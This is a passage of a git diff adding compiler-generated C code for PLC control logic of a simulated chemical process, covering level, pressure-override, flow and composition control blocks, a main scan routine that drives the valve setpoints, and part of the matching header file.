__INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + 